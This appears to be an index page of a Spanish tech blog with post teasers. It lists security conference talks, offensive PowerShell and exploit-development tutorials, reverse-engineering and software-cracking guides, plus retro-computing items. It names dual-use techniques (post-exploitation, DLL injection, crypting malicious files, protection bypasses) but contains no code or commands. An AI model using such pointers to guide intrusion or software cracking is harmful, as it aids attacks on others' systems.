• Using Static Binary Analysis to Find Vulnerabilities and Backdoors in Firmware us-15-Kruegel-Using-Static-Binary-Analysis-To-Find-Vulnerabilities-And-Backdoors-In-Firmware.pdf
• Web Timing Attacks Made Practical us-15-Morgan-Web-Timing-Attacks-Made-Practical.pdf us-15-Morgan-Web-Timing-Attacks-Made-Practical-wp.pdf
• When IoT Attacks: Hacking a Linux-Powered Rifle us-15-Sandvik-When-IoT-Attacks-Hacking-A-Linux-Powered-Rifle.pdf
• Why Security Data Science Matters and How Its Different: Pitfalls and Promises of Data Science Based Breach Detection and Threat Intelligence us-15-Saxe-Why-Security-Data-Science-Matters-And-How-Its-Different.pdf
• Winning the Online Banking War us-15-Park-Winning-The-Online-Banking-War.pdf us-15-Park-Winning-The-Online-Banking-War-wp.pdf
• Writing Bad @$$ Malware for OS X us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
• WSUSpect - Compromising the Windows Enterprise via Windows Update us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update-wp.pdf
• ZigBee Exploited the Good the Bad and the Ugly us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly.pdf us-15-Zillner-ZigBee-Exploited-The-Good-The-Bad-And-The-Ugly-wp.pdf

Iremos actualizando la lista con el material que se vaya publicando.

Powershell scripts para seguridad ofensiva

Powershell es uno de los recursos que se han convertido en indispensable a la hora de realizar una auditoría que involucra sistemas Windows.

Nishang es una colección de scripts escritos en Powershell listos para la acción. En dicha colección tienes scripts que puedes usar en todas las fases de la auditoría, pero quizás los más poderosos sean aquellos para la fase de post-explotación.

Las diferentes secciones en las que se organiza esta colección es:

Destripando una instrucción en lenguaje …

La función más importante en un desensamblador es la conversión o recomposición de las instrucciones en lenguaje ensamblador a partir de los códigos de operacion (OP / operation code).

En la arquitectura X86, a diferencia de otras, la longitud en bytes de una instrucción, varía dependiendo de la instrucción en sí y de los operandos sobre las que ésta actúa.

Últimamente, gracias en entre otros a proyectos como Capstone hemos visto el lanzamiento de desensambladores de todo tipo, así como la migración o adaptación de desensambladores previamente existentes a este motor.

Tutoriales sobre ingeniería inversa

En la web de CyberGuerrilla, bajo el nombre de: Lo que los Blackhats no quieren que sepas, recopilan una seria de tutoriales sobre ingeniería inversa. Desde la utilización de las herramientas esenciales, técnicas de inyección, cracking, creación de tu propio laboratorio, etc. Hay un buen número de tutoriales (en inglés) que sin duda alguna pueden serte útil.

Copio y pego la lista:

• Why am I teaching Reverse Engineering to inexperienced new Anons in OpNewblood?
• Whitehat Lab
• ASM Programming
• Introduction Part 1 Ollydbg
• Introduction Part 2 Using Ollydbg and Tracing Botnets
• Analyzing Botnets
• Introduction Part 3 Ollydbg: Cheating a Crackme
• Introduction Part 4 Ollydbg: Your first Patch
• Encryption 101
• Cuckoo Sandbox: Automated Malware Analysis also known as Malwr.com
• Introduction to Honeydrive: A Brief Walk Through
• Installing Kippo the SSH Honeypot on a VPS Part 1: How to set it up
• Resource Hacker
• Dll Injection the Easy Way
• Visual Basic Binaries Walk Through Part 1
• Ollydbg on Steroids
• Creating Patchers Part 1
• Have you supported the gas mask campaign over the years?
• Crack to win a gas mask gift pack
• How to edit a register me crack me Pre Part 1
• Unwinding Delphi Binaries Walk Through if not Preview
• Cracking Delphi Part 2
• Reversing Timed Trials: Ollydbg Tricks Part 3
• Analyzing Adware
• Preview Against Debugging
• Bypassing Registering 101
• Bypassing Part 2
• Android/iOS Reversing
• Introducing IDA Pro: Static Analyzing
• Hacker’s Disassembler
• Ripping Apart Adware
• Never trust Warez or Cracked Programs: Reversing a Crypted IRC bot infected file
• IDA PRO Book
• Unpacking & Crypting there is a difference
• Covert Debugging whitepaper from blackhat.com
• Manually Unpacking with Ollydbg
• Manually Unpacking Part 2
• Manually Unpacking 101
• ASM Injecting
• ASM Injecting Part 2
• ASM Injecting Part 3: Crypt your malicious file
• Reversing Trials
• Adding Your Menu
• ASM Injecting Part 4
• ASM Injecting Part 5
• Finding Nag Screens & Removing them
• REMnux: Linux Toolkit for Reverse-Engineering and Analyzing Malware
• REMnux: Volatility Framework ~ Memory Forensics
• Volatility Analyzing the ZeuS Bot Part 2
• Infected Machine? Create a memory dump
• What the gov doesn’t want you to know: All your pastebin data is being LOGGED
• Connect to IRC more securely with SSL, add a fingerprint to your nick
• Do you have pictures of yourself on the internet? You might of leaked your location of where the pic was taken through EXIF Data
• Bulk Extractor: Walk Through for a Windows Platform
• Bulk Extractor: Walk Through for Linux
• Memory Forensics: Windows Analyzing for Malicious Activity

Vídeos de la Infiltrate 2015

Ya está disponibles los vídeos de la Infiltrate 2015, conferencia sobre seguridad informática celebrada el pasado mes de abril en Miami, Florida.

Los vídeos publicados son los siguientes:

• Alex Ionescu Insection: AWEsomely Exploiting Shared Memory Objects
• Ram Shankar & Sacha Faust Data Driven Offense
• Neil Archibald Modern Objective-C Exploitation
• James Forshaw A Link to the Past: Abusing Symbolic Links on Windows
• Rusty Wagner & Jordan Wiens Hacking Games in a Hacked Game
• Infiltrate2015 BJJ Open Mat - part 2
• Infiltrate2015 BJJ Open Mat - Part 1
• Braden Thomas Technical Keynote: Practical Attacks on DOCSIS
• Nathan Rittenhouse Problems in Symbolic Fuzzing
• Joaquim Espinhara & Rafael Silva MIMOSAWRITERROUTER - Abusing EPC on Cisco Router to collect data
• Patrick Wardle Writing Bad@ss OS X Malware
• Jacob Torrey HARES: Hardened Anti-Reverse Engineering System
• Ray Boisvert [keynote] Abyss or Turning Point: Strategy Skills and Tradecraft in the Age of 21st Century Warfare

Presentaciones de REcon 2015

Ya están disponibles las presentaciones de la REcon 2015, una conferencia sobre seguridad que se celebra anualmente en Montreal, Canadá.

La lista de presentaciones es la siguiente (de acuerdo con el programa, faltan algunas en estos momentos):

• 01-joan-calvet-marion-marschalek-paul-rascagneres-Totally-Spies
• 04-jeffrey-crowell-julien-voisin-Radare2-building-a-new-IDA
• 05-peter-hlavaty-jihui-lu-This-Time-Font-hunt-you-down-in-4-bytes
• 06-sophia-d-antoine-Exploiting-Out-of-Order-Execution
• 07-travis-goodspeed-sergey-bratus-Polyglots-and-Chimeras-in-Digital-Radio-Modes
• 09-yuriy-bulygin-oleksandr-bazhaniuk-Attacking-and-Defending-BIOS-in-2015
• 13-colin-o-flynn-Glitching-and-Side-Channel-Analysis-for-All
• 14-christopher-domas-The-movfuscator
• 16-yong-chuan-koh-Understaning-the-Microsoft-Office-Protected-View-Sandbox
• 17-nitay-artenstein-shift-reduce-Pandora-s-Cash-Box-The-Ghost-Under-Your-POS
• 18-andrew-zonenberg-From-Silicon-to-Compiler
• 20-steven-vittitoe-Reverse-Engineering-Windows-AFD-sys
• 21-j00ru-One-font-vulnerability-to-rule-them-all

Colección de e-zines sobre hacking

Hace unas semanas se había publicada un sitio web en Tor en el que se recopilaba una enorme cantidad de e-zines o revistas electrónicas sobre sobre hacking. Para poder acceder a dicho contenido, tenías que estar conectado a Tor, o bien usar unos de esos proxies que te permiten acceder al contenido Tor sin estar conectado a la misma.

Antes del boom de la web 2.0 y la blogosfera, el formato de revista electrónica (e-zine) era la forma en que se publicaban y compartían contenidos sobre temas de hacking, seguridad, anarquía, etc. Sin olvidar por supuesto los canales de IRC o la innombrable Usenet.

Actualización para Apple IIGS

Apple IIGS (GS son las iniciales de Graphics and Sound), fue el hermano mayor del famoso Apple II. Fue la evolución de los 8 bits a los 16. Además del cambio de arquitectura, el Apple IIGS integraba una mejora significativa en el el hardware de sonido y gráfico, aunque era completamente compatible con la versión de 8 bits, el Apple II. Éste, Apple IIGS, además fue el primer ordenador de Apple que salió al mercado que usaba una interfaz gráfica a color.

Zero days - security leaks for sale (Documental)

El documental está en inglés, pero puedes activar los subtítulos (inglés también).

Vuelve el Commodore PET

Los más jóvenes del lugar posiblemente no conozcan los ordenadores Commodore o quizás los conozcan tan solo de oídas.

El buque insignia de Commodore fue su famoso Commodore 64 y quizás no menos conocido fueron los de la serie Amiga, pero el primer ordenador completo orientado al uso doméstico que Commodore lanzó al mercado fue el Commodore PET, allá por septiembre de 1977.

La marca Commodore ha tenido muchos altibajos a través del tiempo, cerrando en 1994, declarándose en bancarrota en 1996, juicios, etc.

Herramientas, tácticas y procedimientos de …

Recolectas la información de tu objetivo (recon), aprovechas alguna vulnerabilidad y comprometes el sistema, y ¿ahora qué? ¿Qué haces en el sistema? ¿Cómo te mueves por él? ¿Qué ficheros deberías buscar? ¿Cómo puedes dejar el sistema abierto para tu propio beneficio de forma persistente? ¿Es este el sistema objetivo o tienes que empezar a pivotar o moverte por la red interna? ¿Tengo el acceso que necesito o necesito escalar privilegios?

Herramientas para jugar y aprender criptografía

Criptografía es una de esas ciencias que sin una buena base en matemáticas es dura de aprender. Por ello, desde mi punto de vista, cualquier herramienta o utilidad que nos facilite su aprendizaje es bien recibido.

Una de las herramientas bien conocida por cualquiera que haya jugado un poco con este tema es Cryptool 1 y/ó 2, pero esta entrada no es para hablaros de Cryptool, sino de Metadecryptor.

Recursos para el desarrollo de aplicaciones …

No importa que tipo de aplicación escribas o que lenguaje uses, la cruda realidad es que tus aplicaciones tendrán vulnerabilidades. Cuantas más líneas de código escribas, más errores cometerás.

La importancia de tomarse muy en serio la seguridad de una aplicación es crucial en los tiempos que corren. Ya lo dicen muchos expertos: hay dos tipos de empresas, las han sido comprometidas y las que todavía no lo saben.

Desarrollo de exploits en Linux

Hace poco que nos hacíamos eco de una serie de tutoriales sobre el desarrollo de exploits en Windows y hoy os dejamos otra serie de tutoriales, también sobre el desarrollo de exploits, pero esta vez orientados a sistemas Linux.

La serie está dividida en 3 niveles:

1. Nivel 1: Vulnerabilidades básicas. Básicamente información de como explotar los desbordamientos de pila, con los sistemas de protección desactivados.
   1. Classic Stack Based Buffer Overflow
   2. Integer Overflow
   3. Off-By-One (Stack Based)
2. Nivel 2: Saltándose los mecanismos de protección. En este nivel nos explican como saltarnos algunos de los sistemas de protección actuales, anteriormente desactivados.
   1. Bypassing NX bit using return-to-libc
   2. Bypassing NX bit using chained return-to-libc
   3. Bypasing ASLR
      1. Part I using return-to-plt
      2. Part II using brute force
      3. Part III using GOT overwrite and GOT dereference
3. Nivel 3: Vulnerabilidades de montículo (heap). En este nivel nos explican como aprovecharnos de esta otra región de la memoria.
   1. Heap overflow using unlink
   2. Heap overflow using Malloc Maleficarum
   3. Off-By-One (Heap Based)
   4. User After Free

El autor está trabajando en correcciones y más contenido, así que no dejes de visitar el sitio original de vez de en cuando.

¿De quién es la silueta de la foto de contactos de …

Captura de pantalla del calendario de Outlook 2010

En Outlook 2010 y las aplicaciones asociadas al mismo, como Microsoft Lync, puedes añadir tu foto a tu cuenta, de forma que cuando alguien te añada a sus contactos, meeting, etc, verán tu foto como parte de tu perfil.

Por defecto, cualquier perfil que no tenga foto, Microsoft Outlook pone un foto que es simplemente una silueta de una persona, como puedes ver en la imagen que encabeza esta entrada.

Material para enseñar a desarrollar aplicaciones …

Apple a través de iTunes facilita una serie de diapositivas organizadas para la enseñanza del desarrollo de aplicaciones para iOS escritas en Swift. El curso está orientado al profesorado y no al estudiante.

El programa está organizado en 99 lecciones, a través de las cuales el profesor educará a los estudiantes de forma práctica. A lo largo del curso se crearán varios proyectos, en otras palabras, se crearán aplicaciones escritas en Swift. En total, el curso abarca el desarrollo de diez aplicaciones dividas de en tres niveles de dificultad.

Colección de libros (retro) sobre programación de …

Allá por los 80s hubo una serie de libros de la editorial Usborne enfocados a la programación aplicada a vídeo juegos para ordenadores de 8 bits: ZX Spectrum, ZX81, VIC 20, Apple, Pet, TRS-80, BBC, etc

Dichos libros contenían el código fuente completo del juego, más explicación del mismo, como jugar y explicación de las rutinas del código que eran más relevantes.

En su mayor parte el código fuente estaba escrito en Basic, pero uno de los libros está totalmente enfocado a aprender ensamblador y código máquina. Los libros a penas llegan a las 50 páginas y después de haber ojeado algunos de ellos, tienen una pinta muy buena y se ven muy educativos.

Buscador de documentos filtrados por Snowden

Para buscar los documentos filtrados por Edward Snowden y publicados hasta la fecha, siempre podemos ir a Google o cualquier otro buscador.

La web apoyo a Edward Snowden mantiene una base de datos con todos los documentos publicados hasta la fecha y un buscador que nos permite buscar dichos documentos por su título, descripción, agencia, fecha del documento, fecha de publicación, etc.

En el momento de escribir estas líneas, dicha base de datos contiene 459 documentos.

Un Amiga controla la calefacción y el aire …

Sorprendente, pero grata la sorpresa que me llevé esta mañana al ver por varios canales, entre ellos Slashdot, una noticia donde informan sobre el uso de un Commodore Amiga para controlar el sistema de calefacción y aire acondicionado de 19 colegios públicos en Michigan.

En concreto el modelo es un Commodore Amiga 2000, conectado a un módem de 1200 baudios, que se comunica con los sistemas de los distintos edificios a través de ondas de radio. El sistema fue instalado y programado en los 80s por uno de los estudiantes de entonces, al cual todavía acuden cuando tienen algún problema, gracias a Dios todavía vive en la zona.

Vídeos de la OWASP AppSec Europa 2015

Ya están disponibles los vídeos de la OWASP AppSec Europa 2015 celebrada en Amsterdam del 19 al 22 de mayo.

• Martin Knobloch - Opening ceremony
• Joshua Corman - Continuous Acceleration: Why Continuous Everything Requires A Suppl...
• Nicolas Gregoire - Server-Side Browsing Considered Harmful
• Yossi Daya - Rise Of The Machines - How Automated Processes Overtook the Web
• Aaron Weaver - Building An AppSec Pipeline: Keeping Your Program, And Your Life, Sane
• Andrew Lee-Thorp - So, You Want To Use A WebView? [BAD AUDIO]
• Dirk Wetter - Security And Insecurity Of HTTP Headers
• Carsten Huth, Nadim Barsoum, Dawid Sroka - Security Touchpoints When Acquiring Soft...
• L. Desmet, M. Johns - WebRTC, Or How Secure Is P2P Browser Communication? [BAD AUDIO]
• Rory Mccune - Security And Modern Software Deployment
• Paul Malone - Implementing A User-Centric Datastore
• Helen McLaughlin - Can Saas Ever Be Secure?
• David Vaartjes - Agile Security Testing - Lessons Learned
• Wojtek Dworakowski - E-Banking Transaction Authorization - Common Vulnerabilities, ...
• Hans Folmer - Security is Part Of The DNA Of A Defense Organization
• Christian Schneider - Security DevOps - Staying Secure In Agile Projects
• Steve Lord - Securing The Internet Of Things
• Dan Cornell - Mobile Application Assessments By The Numbers: A Whole-istic View
• Thibault Koechlin - Naxsi, A Web Application Firewall for NGINX
• Frederik Braun - Using A JavaScript CDN That Can Not XSS You - With Subresource Int...
• Tom Van Goethem - Issues And Limitations Of Third Party Security Seals
• Alex Infuhr - PDF - Mess With The Web
• Dmitry Savintsev - Finding Bad Needles On A Worldwide Scale
• Brenno De Winter - The Software Not The Human Is The Weakest Link
• Luca De Fulgentis - Windows Phone App Security For Builders And Breakers
• Tobias Gondrom, Jaya Baloo, Dr. Melanie Rieback, Dhillon Andrew Kannabhiran - Women...
• Matt Tesauro - Lessons From DevOps: Taking DevOps Practices Into Your AppSec Life
• Tobias Gondrom - From Zero To Hero - Or How OWASP Saved My Holiday
• Jim Manico - HTTPS Is Better than Ever Before. Now Its Your Turn.
• Jonathan Cran - Hard Knock Lessons On Bug Bounties
• Ange Albertini - Preserving Arcade Games
• Mario Heiderich - Copy Pest - A Case Study On The ClipBoard, Blind Trust And Invis...
• Gareth Heyes - XSS Horror Show
• Matt Johansen, Johnathan Kuskos - The Top 10 Web Hacks of 2014
• Troy Hunt - 50 Shades of AppSec
• Greg Patton - The API Assessment Primer
• Florian Stahl, Stefan Burgmair - OWASP Top 10 Privacy Risks
• Martin Knobloch, Tobias Gondrom - Opening ceremony
• Michele Spagnuolo - Abusing JSONP With Rosetta Flash
• Frank Breedijk - Red Team, Blue Team Or White Cell? Trends In IT And How They Force...
• Eduardo Vela Nava - Web Service Workers - Breaking The Web Because It Would Be A Sh...
• Simon Bennetts - OWASP ZAP: More Advanced Features
• Matias Madou, Daan Raman - If 6,000 Mobile Malware Applications Could Talk! Ow, The...
• Achim D. Brucker - Bringing Security Testing To Development: How To Enable Develop...
• Michele Orru - Dark Fairytales From A Phisherman
• Marek Zachara - Collective Detection Of Harmful Requests
• Or Katz, Ezra Caltum - Maliciously Monetizing AppSec Feature. Its All About The Money.
• Ian Haken - Security Policy Management: Easy as PIE
• Martin Johns, Sebastian Lekies, Ben Stock - Client-Side Protection Against DOM-Base...
• Maty Siman - The Node.js Highway: Attacks Are At Full Throttle
• Conference Team - Closing ceremony

Aquí tienes otras opciones de descarga.

Colección de herramientas de "pentesting" para …

Cuando hablamos sobre auditar un sistema o sistemas, una de las primeras cosas que quizás haga uno sea armarse con una distribución Kali Linux, pero no sólo de Linux vive el pentester, de hecho un buen pentester debe ir más allá del simple uso de ciertas herramientas o sistema operativo.

Si te enfrentas a una auditoría y todo de lo que dispones es de un sistema Windows, quizás esta colección de herramientas llamada Pentest Box te venga como anillo al dedo.

Curso gratuito sobre desarrollo de exploits en …

No suelen ser muchos los cursos gratuitos sobre explotación en sistemas Windows, supongo que por motivos de licencias y demás las universidades/organizaciones suelen usar sistemas operativos libres, además de que estos son mucho más valiosos en el ámbito académico. De esta forma la enseñanza de sistemas operativos como MS Windows se suele quedar en el sector comercial y por consiguiente no al alcance de todos.

En este caso, el material liberado (no es un curso universitario) nos abre las puertas al desarrollo de exploits en Windows 7 SP1 (64bits). El autor deja bien claro que aunque éste sea un curso de iniciación, la escritura de exploits no es nada fácil y como requisito mínimo, debes sentirte cómo con el lenguaje ensamblador.

Formas de evitar que los comandos que ejecutas …

Puede haber ocasiones en las que no es una buena idea que cuando ejecutemos un comando desde nuestra shell (bash), éste se almacene en el history.

En ejemplo real y práctico sería el evitar que se graben datos sensibles tales como contraseñas. A veces tenemos que arrancar un servicio que puede requerir como parámetros un nombre de usuario y una contraseña y estos datos en condiciones normales se quedarían grabados en el history.

Material de la Hack In The Box Amsterdam 2015

Ya está disponible el material de la Hack In The Box Amsterdam 2015.

• D1T1 - Alfonso De Gregorio - illusoryTLS.pdf
• D1T1 - Markus Vervier - Mobile Authentication Subspace Travel.pdf
• D1T1 - R. Rodriguez P. Vila - Relay Attacks in EMV Contactless Cards with Android OTS Devices.pdf
• D1T1 - Saumil Shah - Stegosploit - Hacking with Pictures.pdf
• D1T1 - T. Yunusov K. Nesterov - Bootkit via SMS.pdf
• D1T1 - Xeno Kovah and Corey Kallenberg - How Many Million BIOSes Would You Like to Infect.pdf
• D1T2 - Alexey Tiurin - Oracle Peoplesoft Applications are Under Attack.pdf
• D1T2 - Andrea Barisani - Forging the USB Armory.pdf
• D1T2 - Anestis Bechtsoudis - Fuzzing Objects d%e2%80%99 ART.pdf
• D1T2 - Bas Venis - Exploiting Browsers the Logical Way.pdf
• D1T2 - Pedram Hayati - Uncovering Secret Connections Amongst Attackers.pdf
• D1T2 - Tony Trummer and Tushar Dalvi - Mobile SSL Failures.pdf
• D1T3 LAB - Breaking Bad Crypto.zip
• D1T3 LAB - Dider Stevens and Xavier Mertens - Memory Forensics for Cisco iOS.pdf
• D1T3 LAB - Tony Trummer - Attacking Android Apps.pdf
• KEYNOTE 1 - Marcia Hoffmann - Fighting for Internet Security in the New Crypto Wars.pdf
• Exploiting Browsers the Logical Way.pdf
• Mobile Authentication Subspace Travel.pdf
• Oracle PeopleSoft applications are under attack.pdf
• Relay Attacks in EMV Contactless Cards with Android OTS Devices.pdf
• The illusoryTLS Asymmetric Backdoor.pdf
• Uncovering Secret Connections Among Attackers by Using Network Theory and Custom Honeypots.pdf

Análisis forense en sistemas Mac OS X

En un trabajo de investigación académica para la Universidad de Londres (Royal Holloway) realizado por Joaquín Moreno Garijo, éste ha publicado un documento basado en el que se detallan la recuperación de datos internos en Mac OS X usando técnicas de análisis forense.

El estudio se basa en la documentación y recuperación de datos persistentes generados por el sistema operativo, es decir, datos que Mac OS X genera y escribe en el sistema de ficheros, que no están publicamente documentado.

Contenedor Docker oficial de Kali Linux

El servidor de contenedores Docker está causando estragos allá por donde anda. Aunque ha recibido muchas críticas, especialmente por parte de la comunidad de seguridad, está revolucionando el mercado de la programación y el despliegue de aplicaciones.

Inicialmente Docker fue concebido con la idea de correr aplicaciones de manera aislada, idea que se adapta muy bien con un par de conceptos muy de moda: micro-servicios y DevOps, pero ha ido evolucionando de tal forma que su uso se está expandiendo más allá de eso.

Proceso de arranque e inicialización del núcleo …

Desde hace un tiempo estoy siguiendo una serie de artículos que han ido apareciendo en Github sobre el proceso de arranque e inicialización del núcleo Linux.

Hace un par de días se publicó un nuevo artículo, el décimo de la serie de inicialización, con el que su autor parece ser que pone fin a la misma. Ya puso fin a la seria sobre arranque.

Los artículos son muy técnicos y muy informativos al mismo tiempo.

550 juegos de Atari 2600 en tu navegador

Aquí tenemos otro emulador escrito en javascript, por lo que todo lo que necesitas es un navegador.

Éste es un emulador sobre Atari 2600, una consola de vídeo juegos que  fue lanzada en 1977 con el nombre de Atari VCS (Video Computer System). En 1982, tras el lanzamiento de la Atari 5200, adoptó su nombre final, Atari 2600, basado en el número de catálogo que la identificaba (CX2600).

4000 años de historia mundial

Haz click en la imagen para ampliarla

Impresionante infográfico sobre 4000 años de historia dónde podemos ver la creación y caída de nacionaes e imperios a través del tiempo.

Por cierto el gráfico fue creado en 1931. Como vemos los infográficos son cosa del pasado :)

Fuente

Colección de programas de Apple ][ protegidos y …

El término crackear (traducción “ilegal” del verbo to crack en inglés) siempre se ha usado, en el ámbito del software, para hacer referencia a cómo saltarse las protecciones de copia/instalación que las empresas o creadores aplican para evitar la piratería de sus creaciones.

El crackeo de software en los 80s y 90s era una práctica muy común e iban además acompañado de arte. Se convirtió en una especie de competición entre distintos grupos de crackers, que además de romper las protecciones de los programas (mayormente juegos), introducían su intro, la cual identificaba al grupo. Dichas intros solían ser algún tipo de animación gráfica y normalmente acompañada de algo de música. Aquí tienes algunos ejemplos, de Amiga por supuesto! :).

Calefacción geek

En 2011 el laboratorio de investigación de Microsoft junto con la Universidad de Virginia, publicaron un trabajo titulado The Data Furnace: Heating Up with Cloud Computing (PDF). En dicho documento se explora la idea de usar el calor generado por los centros de datos para proveer de calefacción a hogares y oficinas.

Un año más tarde dos señores llamados Boaz Leupe y Mathijs de Meijer mientras que trabajaban en la renovación de una casa, rompieron de forma accidental el termostato. Mientras trataban de buscar la forma de guardarse del frío, Meijer mientras que trabajaba con su portátil, a modo de chiste dijo: “si ponemos 100 portátiles en una habitación, lo mismo podríamos calentar la casa”.

¿Qué es ese código "A113" que aparece en casi …

Pues según parece ese A113 es el número de aula del Instituto de las Artes de California, dónde la mayoría de los animadores gráficos de Disney y Pixar (éste también pertenece a Disney en la actualidad) estudiaron y como tributo, ponen ese código en muchas de las películas.

Además de la imagen que encabeza la entrada, tienes más ejemplos:

http://allday.com/post/3536-a-secret-code-appears-in-nearly-every-disney-and-pixar-movie-heres-why/ http://allday.com/post/3536-a-secret-code-appears-in-nearly-every-disney-and-pixar-movie-heres-why/pages/2/ http://allday.com/post/3536-a-secret-code-appears-in-nearly-every-disney-and-pixar-movie-heres-why/pages/3/ http://allday.com/post/3536-a-secret-code-appears-in-nearly-every-disney-and-pixar-movie-heres-why/pages/4/ http://allday.com/post/3536-a-secret-code-appears-in-nearly-every-disney-and-pixar-movie-heres-why/pages/5/

Curso gratuito sobre seguridad informática

En Learning How To Hack tienen un curso sobre seguridad que por lo visto solía ser parte de The Hacker Institute y M r C r a c k e r I n n e r C i r c l e, pero ninguno de los sitios están activos e incluso según cuenta el autor de la entrada, todo el contenido de dichos sitios se perdió, pero éste ha conseguido recuperar el material de este curso sobre seguridad.

Crucigramas sobre expresiones regulares

No hace mucho publicamos una entrada sobre un crucigrama cuyas palabras eran comandos comunes que podemos encontrar en casi cualquier shell de un sistema UNIX o derivados.

En esta ocasión la entrada está relacionada con crucigramas, pero el tema en esta ocasión son las famosas expresiones regulares.

Regex Crossword nos ofrece no uno sino nueve crucigramas en el momento de escribir estas líneas. La diferencia entre estos es la dificultad de los mismos.

Envío manual de paquetes IP

Cuando trabajas en redes, desarrollas alguna aplicación cliente/servidor, cuando quieres probar la seguridad de algún servicio mandándole paquetes mal formados, pruebas de estrés, etc, tener las herramientas adecuadas te harán la vida mucho más fácil.

Quizás para los distintos escenarios que he enumerado anterioremente haya herramientas especializadas en cada caso, pero en esta entrada quería comentar Packet Sender.

Packet Sender es una utilidad multiplataforma (Windows, Mac y Linux) que nos permite la definición y el envío de paquetes TCP y UDP. Ésta nos permite definir la dirección IP destino, el puerto, el tipo (TCP o UDP) y el contenido del paquete en sí. También nos ofrece la posibilidad de crear conexiones TCP persistente (envío de paquetes usando la misma conexión), podemos guardar los paquetes que hemos creado, incluso el tráfico generado. Además lleva integrado un servidor UDP y otro TCP, con el podemos hacer nuestras pruebas.

Guía de Google para convertirte en un buen …

Google a través de su portal dedicado a estudiantes, entre otros muchos recursos, mantienen una guía para mejorar tus habilidades como desarrollador técnico.

Dicha guía contiene un conjunto de recomendaciones sobre ciertos temas, así como recursos online dónde puedes introducirte a los mismos:

• Curso de introducción a Sistemas de Computación
  • Toma alguna clase que provea una introducción a la programación
  • Recursos online: Udacity - intro to CS course, Coursera - Computer Science 101
• Programa en al menos un lenguaje orientado a objetos
  • Recursos para principiantes: Coursera - Learn to Program: The Fundamentals, MIT Intro to Programming in Java, Google's Python Class, Coursera - Introduction to Python, Python Open Source E-Book
  • Recursos para nivel intermedio: Udacity's Design of Computer Programs, Coursera - Learn to Program: Crafting Quality Code, Coursera - Programming Languages, Brown University - Introduction to Programming Languages
• Aprende otros lenguajes de programación
  • w3school.com - HTML Tutorial, CodeAcademy.com, Udacity - Mobile Web Development, Udacity - HTML5 Game Development
• Prueba tu código
  • Udacity - Software Testing Methods, Udacity - Software Debugging
• Desarrolla razonamiento lógico y matemáticas discreta
  • MIT Mathematics for Computer Science, Coursera - Introduction to Logic, Coursera - Linear and Discrete Optimization, Coursera - Probabilistic Graphical Models, Coursera - Game Theory
• Conocimiento sólido de algoritmos y estructuras de datos
  • MIT Introduction to Algorithms, Coursera Introduction to Algorithms Part 1 & Part 2, List of Algorithms, List of Data Structures, Book: The Algorithm Design Manual
• Buen conocimiento sobre sistemas operativos
  • UC Berkeley Computer Science 162
• Diseño de interfaces amigables (UX Design)
  • Udacity - UX Design for Mobile Developers
• Aprende inteligencia artificial
  • Introduction to Robotics, Natural Language Processing, Machine Learning
• Cómo crear un compilador
  • Coursera - Compilers
• Aprende criptografía
  • Coursera - Cryptography, Udacity - Applied Cryptography
• Aprende sobre programación paralela
  • Coursera - Heterogeneous Parallel Programming
• Trabaja o colabora en algún proyecto extra
  • Apache List of Projects, Google Summer of Code, Google Developer Group, crea tu propia web, etc
• Trabaja sobre alguna pequeña parte de un proyecto grande, lee código existente, encuentra errores, etc
  • GitHub, Kiln
• Trabaja en equipo
• Pon en práctica tus conocimientos sobre algoritmos
  • CodeJam, ACM ICPC
• Conviértete en profesor asistente o intenta enseñar a otros estudiantes
• Gana experiencia como becario, voluntario, etc

Esta guía es sólo eso, una seria de recomendaciones por parte de Google, pero los temas que nos recomiendan son sin duda alguna muy importantes y crean la base de un buen programador. Yo añadiría algún tema sobre escalabilidad, algebra relacional (teoría de conjuntos) y algo de contenedores.

Si tienes nada que hacer este verano, aquí tienes con que entretenerte.

Error "Hash sum mismatch" actualizando un sistema …

Esto es una pequeña nota mental de cómo arreglar el error Hash sum mismatch cuando hacemos un apt-get update en un sistema Linux.

Esto me ocurrió hace unos días actualizando mi Ubuntu 14.04. El problema apareció cuando intentaba actualizar mi sistema:

W: Failed to fetch gzip:/var/lib/apt/lists/partial/algún_repositorio Hash Sum mismatch

En el que, en mi caso, algún_repositorio era el de Spotify. El problema radica en la diferencia entre el hash del repositorio que tu sistema previamente a guardado en la cache y el del repositorio en sí.

Escritorio de trabajo futurista

Parece sacado de una película de Hollywood tipo Tron o The Matrix, pero es una realidad. Emperor 200 es un escritorio de trabajo totalmente futurista.

Alguna de las características a destacar: un sillón de Recaro de cuero ergonómico con sistema de climatización, sistema de sonido Bose, soporte de hasta 3 pantallas LCD de 27 pulgadas, monitor de control central táctil, etc.

La única pega que le encuentro son los 49.150 dólares que cuesta, si no fuera por eso, me compraba uno :)

Vídeos de la BSides Boston 2015

Desde la web de irongeek podemos acceder a los vídeos de la BSides Boston 2015.

• The Securitized State: Where it came from, where it's going, what can be done about it Molly Sauter
• Is Threat Modeling for Me? Robert Hurlbut
• Hacker or criminal? Repairing the reputation of the infosec community. Melanie Ensign
• Running Away from Security: Web App Vulnerabilities and OSINT Collide Micah Hoffman
• Robots, Ninjas, Pirates and Building an Effective Vulnerability Management Program Paul Asadoorian
• Protect Your "Keys to the Kingdom" _ Securing Against the Next Inevitable Cyberattack Paul Kozlov
• In pursuit of a better crypto puzzle Samuel Erb
• When penguins attack - Linux's role in the malware ecosystem Chester Wisniewski
• The Benefits in Externalizing DMZ-as-a-Service in the Cloud Israel Barak
• Common misconfigurations that lead to a breach Justin Tharpe
• Applying Big Data technology to security use case Max Pevzner
• Marketing: They're not all Schmucks. Jen Ellis & Josh Feinblum
• Next-Gen Incident Management - Building out a Modern Incident Management Capability John McDonald
• Closing

Explotando la corrupción de memoria en …

Como ya he dicho muchas otras veces, la mejor forma de aprender es practicando (…y enseñando).

Explotación de vulnerabilidades en general en arquitecturas x86, son bien conocidas y hay documentación por doquier, de forma gratuita online y en libros, pero cuando nos enfrentamos a arquitecturas ARM, la documentación ya no es tan abundante.

Con el boom de la tecnología móvil y el famoso Internet of things (IoT), la arquitectura ARM está en nuestro día a día y posiblemente interactuemos con ella mucho más de lo que nos imaginemos.

Conjunto de herramientas para la gestión de …

Machinery es un proyecto open source mantenido por SUSE, que provee de un conjunto de utilidades a los administradores de sistemas para hacerles la vida más fácil a la hora de gestionar estos.

Machinery es capaz de extraer la configuración existente (configuration discovery), validación de un sistema (system validation) y migración de servicios (service migration).

